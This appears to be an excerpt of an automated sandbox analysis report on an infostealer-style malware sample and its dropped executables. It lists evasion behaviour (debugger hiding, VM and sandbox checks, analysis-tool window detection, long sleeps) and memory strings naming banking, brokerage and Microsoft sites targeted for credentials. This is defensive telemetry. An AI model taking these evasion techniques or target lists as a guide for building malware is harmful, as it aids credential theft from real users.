Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Special instruction interceptor: First address: 5C1CE2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Special instruction interceptor: First address: 405E4F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Special instruction interceptor: First address: 5AC725 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Special instruction interceptor: First address: 62235D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Special instruction interceptor: First address: 11B1BDE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Special instruction interceptor: First address: 1235B31 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Special instruction interceptor: First address: A0DE30 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Special instruction interceptor: First address: BB160E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Special instruction interceptor: First address: A0B112 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Special instruction interceptor: First address: BD3BD4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Special instruction interceptor: First address: C427B4 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Memory allocated: 25E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Memory allocated: 2850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Memory allocated: 25E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Memory allocated: 4920000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Memory allocated: 4C30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Memory allocated: 4A50000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

Code function: 0_2_054F0E04 rdtsc

0_2_054F0E04

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1115	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1095	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1285	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1398	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1129	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1093	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 501	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window / User API: threadDelayed 4915
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window / User API: threadDelayed 4555
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window / User API: threadDelayed 591
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window / User API: threadDelayed 580
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window / User API: threadDelayed 568
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window / User API: threadDelayed 602
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Window / User API: threadDelayed 3191
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Window / User API: threadDelayed 810

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vDG3ze8tYG37\Bunifu_UI_v1.5.3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\soft[1]	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vDG3ze8tYG37\Y-Cleaner.exe	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dll[1]	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe

API coverage: 8.5 %

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 1044	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 1044	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 484	Thread sleep count: 1115 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 484	Thread sleep time: -2231115s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 2284	Thread sleep count: 332 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 2284	Thread sleep time: -9960000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 2728	Thread sleep count: 1095 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 2728	Thread sleep time: -2191095s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7004	Thread sleep count: 1285 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7004	Thread sleep time: -2571285s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 1060	Thread sleep count: 1398 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 1060	Thread sleep time: -2797398s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7092	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 3960	Thread sleep count: 1129 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 3960	Thread sleep time: -2259129s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 3148	Thread sleep count: 1093 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 3148	Thread sleep time: -2187093s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 1060	Thread sleep count: 501 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 1060	Thread sleep time: -1002501s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7004	Thread sleep count: 193 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7004	Thread sleep time: -386193s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe TID: 7256	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe TID: 7432	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7704	Thread sleep count: 70 > 30
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7704	Thread sleep time: -140070s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7712	Thread sleep count: 76 > 30
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7712	Thread sleep time: -152076s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7724	Thread sleep count: 73 > 30
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7724	Thread sleep time: -146073s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7796	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7720	Thread sleep count: 63 > 30
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7720	Thread sleep time: -126063s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7696	Thread sleep count: 4915 > 30
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7696	Thread sleep time: -9834915s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7700	Thread sleep count: 4555 > 30
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 7700	Thread sleep time: -9114555s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8056	Thread sleep count: 591 > 30
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8056	Thread sleep time: -1182591s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8060	Thread sleep count: 580 > 30
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8060	Thread sleep time: -1160580s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8044	Thread sleep count: 568 > 30
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8044	Thread sleep time: -1136568s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8156	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8040	Thread sleep count: 602 > 30
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8040	Thread sleep time: -1204602s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8036	Thread sleep count: 3191 > 30
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8036	Thread sleep time: -6385191s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe TID: 8164	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe TID: 5780	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_00715E67 FindFirstFileExW,	13_2_00715E67
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_100081AE FindFirstFileExW,	13_2_100081AE
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703BC027 FindFirstFileExA,	15_2_703BC027

Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe

Code function: 4_2_053602A6 NtQueryInformationProcess,GetSystemInfo,

4_2_053602A6

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Thread delayed: delay time: 922337203685477

Source: rapes.exe, rapes.exe, 00000002.00000002.1022139282.000000000076B000.00000040.00000001.01000000.00000007.sdmp, c2f48edf32.exe, c2f48edf32.exe, 00000004.00000002.1329641339.0000000000AD6000.00000040.00000001.01000000.00000009.sdmp, 7f41c1bc85.exe, 7f41c1bc85.exe, 00000006.00000002.1341441991.0000000001048000.00000040.00000001.01000000.0000000C.sdmp, 4bcefcec83.exe, 00000014.00000002.2538672408.000000000057D000.00000040.00000001.01000000.00000011.sdmp, 2009d9de82.exe, 00000015.00000002.1509208055.000000000118E000.00000040.00000001.01000000.00000012.sdmp, 4bcefcec83.exe, 00000016.00000002.3970842910.000000000057D000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 3353aa7d43.exe, 00000017.00000003.1614752738.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp, 3353aa7d43.exe, 00000017.00000003.1616322212.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 3353aa7d43.exe, 00000017.00000003.1616902886.0000000000D27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWQ$
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: c2f48edf32.exe, 00000004.00000002.1331787047.00000000012E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlluuO
Source: 7f41c1bc85.exe, 00000006.00000003.1315406322.0000000000CD8000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1340869090.0000000000CD8000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000003.1315148169.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1339717081.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000002.1652239900.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1587319646.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1540641803.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1398850009.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1375760314.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1470760772.0000000002B79000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 0000000D.00000002.1652239900.0000000002B35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 5a20da7e37.exe, 0000000F.00000002.2454486876.000000000114C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXF
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: 4bcefcec83.exe, 00000014.00000003.2399025897.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2390014961.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000002.2543993251.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2248056593.00000000016C8000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2106564911.00000000016C8000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2316069465.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2536001964.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2362640058.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2432100869.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2358479338.00000000016C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWtw7
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 2009d9de82.exe, 00000015.00000002.1508790568.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: firefox.exe, 00000024.00000002.1723729764.000001485B325000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAt
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: 5a20da7e37.exe, 0000000F.00000002.2455152254.0000000001187000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>
Source: AaxpYFDQ32.exe, 00000000.00000002.979561235.00000000003AB000.00000040.00000001.01000000.00000003.sdmp, rapes.exe, 00000001.00000002.1018192096.000000000076B000.00000040.00000001.01000000.00000007.sdmp, rapes.exe, 00000002.00000002.1022139282.000000000076B000.00000040.00000001.01000000.00000007.sdmp, c2f48edf32.exe, 00000004.00000002.1329641339.0000000000AD6000.00000040.00000001.01000000.00000009.sdmp, 7f41c1bc85.exe, 00000006.00000002.1341441991.0000000001048000.00000040.00000001.01000000.0000000C.sdmp, 4bcefcec83.exe, 00000014.00000002.2538672408.000000000057D000.00000040.00000001.01000000.00000011.sdmp, 2009d9de82.exe, 00000015.00000002.1509208055.000000000118E000.00000040.00000001.01000000.00000012.sdmp, 4bcefcec83.exe, 00000016.00000002.3970842910.000000000057D000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 4bcefcec83.exe, 00000016.00000002.3974403719.000000000118F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: BitLockerToGo.exe, 0000000D.00000002.1652239900.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1587319646.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1540641803.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1398850009.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1375760314.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1470760772.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1493924117.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1517106704.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1564197210.0000000002B79000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1352608977.0000000002B79000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 4bcefcec83.exe, 00000016.00000003.3599786397.00000000012CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe

Code function: 4_2_053608DE Start: 053609B1 End: 053608F2

4_2_053608DE

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Process queried: DebugPort	Jump to behavior
